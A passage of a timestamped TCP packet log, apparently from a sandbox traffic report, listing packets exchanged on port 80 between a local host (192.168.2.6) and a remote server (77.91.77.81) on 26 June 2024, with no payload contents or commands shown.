Jun 26, 2024 08:16:31.540438890 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.540450096 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.540466070 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.540518999 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.540529013 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.540544033 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.540586948 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.540586948 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.541068077 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.541114092 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.541124105 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.541188002 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.541196108 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.541196108 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.541199923 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.541210890 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.541223049 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.541233063 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.541244984 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.541275024 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.541335106 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.541618109 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.574110031 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.574157000 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.574177027 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.574188948 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.574196100 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.574199915 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.574212074 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.574234009 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.574243069 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.574273109 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.574314117 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.574497938 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.575309992 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.575355053 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.575366020 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.575407982 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.575437069 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.575478077 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.575499058 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.575510979 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.575556993 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.575567961 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.575577974 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.575587988 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.575623989 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.575623989 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.575650930 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.575679064 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.575692892 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.575719118 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.575748920 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.575759888 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.575781107 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.575790882 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.575822115 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.575834036 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.575877905 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.575889111 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.575905085 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.575906038 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.575928926 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.575932026 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.575941086 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.575953007 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.575956106 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.575979948 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.576001883 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.576001883 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.576119900 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.576131105 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.576143026 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.576155901 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.576168060 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.576180935 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.576211929 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.576211929 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.576387882 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.576396942 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.576407909 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.576419115 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.576430082 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.576436043 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.576447010 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.576459885 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.576473951 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.576473951 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.576515913 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.576527119 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.576527119 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.576554060 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.576565027 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.576584101 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.576596022 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.576606989 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.576618910 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.576632977 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.576667070 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.576667070 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.576941967 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.576952934 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.576962948 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.576973915 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.576987028 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.576997042 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.576999903 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.577008963 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.577013969 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.577020884 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.577032089 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.577033997 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.577043056 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.577044010 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.577070951 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.577070951 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.577083111 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.577095032 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.577095985 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.577105999 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.577128887 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.577198982 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.577492952 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.577505112 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.577522993 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.577538967 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.577549934 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.577552080 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.577563047 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.577564001 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.577574968 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.577584982 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.577596903 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.577599049 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.577609062 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.577611923 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.577620029 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.577627897 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.577631950 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.577660084 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.577714920 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.577940941 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.578073978 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.578087091 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.578095913 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.578102112 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.578102112 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.578109026 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.578114033 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.578125000 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.578130007 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.578135967 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.578147888 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.578149080 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.578160048 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.578176975 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.578185081 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.578201056 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.578212976 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.578226089 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.578229904 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.578252077 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.578252077 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.578289032 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.578541994 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.578552961 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.578579903 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.578592062 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.578603029 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.578640938 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.578640938 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.608351946 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.608372927 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.608391047 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.608408928 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.608458042 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.608458042 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.608493090 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.608520031 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.608530998 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.608541965 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.608566999 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.608612061 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.626394987 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.626416922 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.626429081 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.626473904 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.626523018 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.626553059 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.626565933 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.626578093 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.626590014 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.626590967 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.626614094 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.626677036 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.629009008 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.629060984 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.629071951 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.629084110 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.629157066 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.629168987 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.629179955 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.629184961 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.629192114 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.629221916 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.629221916 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.629376888 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.629856110 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.629904985 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.629915953 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.629933119 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.629959106 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.629965067 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.629965067 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.629970074 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.630060911 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.630072117 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.630083084 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.630098104 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.630098104 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.630330086 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.662952900 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.662966013 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.662991047 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.663005114 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.663017035 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.663028955 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.663103104 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.663103104 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.663105965 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.663202047 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.664175987 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.664186954 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.664197922 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.664273977 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.664273977 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.664288998 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.664300919 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.664311886 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.664339066 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.664369106 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.664398909 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.664402008 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.664410114 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.664433002 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.664542913 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.664567947 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.664597034 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.664621115 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.664632082 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.664632082 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.664644957 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.664671898 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.664710045 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.664743900 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.664746046 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.664756060 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.664773941 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.664800882 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.664800882 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.664824009 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.664926052 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.664937973 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.664948940 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.664959908 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.664972067 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.664989948 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.664990902 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.665040016 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.665082932 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.665103912 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.665116072 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.665127039 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.665138960 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.665149927 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.665154934 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.665162086 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.665162086 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.665173054 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.665185928 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.665199995 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.665210962 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.665230989 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.665230989 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.665426970 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.665438890 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.665451050 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.665456057 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.665478945 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.665497065 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.665508986 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.665519953 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.665522099 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.665533066 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.665538073 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.665549994 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.665555954 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.665563107 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.665575981 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.665615082 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.665718079 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.665817976 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.665829897 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.665939093 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.665966034 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.665977955 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.665997982 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.666002989 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.666004896 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.666012049 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.666038036 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.666044950 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.666044950 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.666054010 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.666058064 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.666064024 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.666069031 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.666079998 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.666083097 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.666085958 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.666114092 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.666114092 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.666203022 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.666502953 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.666513920 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.666526079 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.666537046 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.666549921 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.666560888 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.666573048 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.666583061 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.666583061 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.666584015 CEST	80	49715	77.91.77.81	192.168.2.6
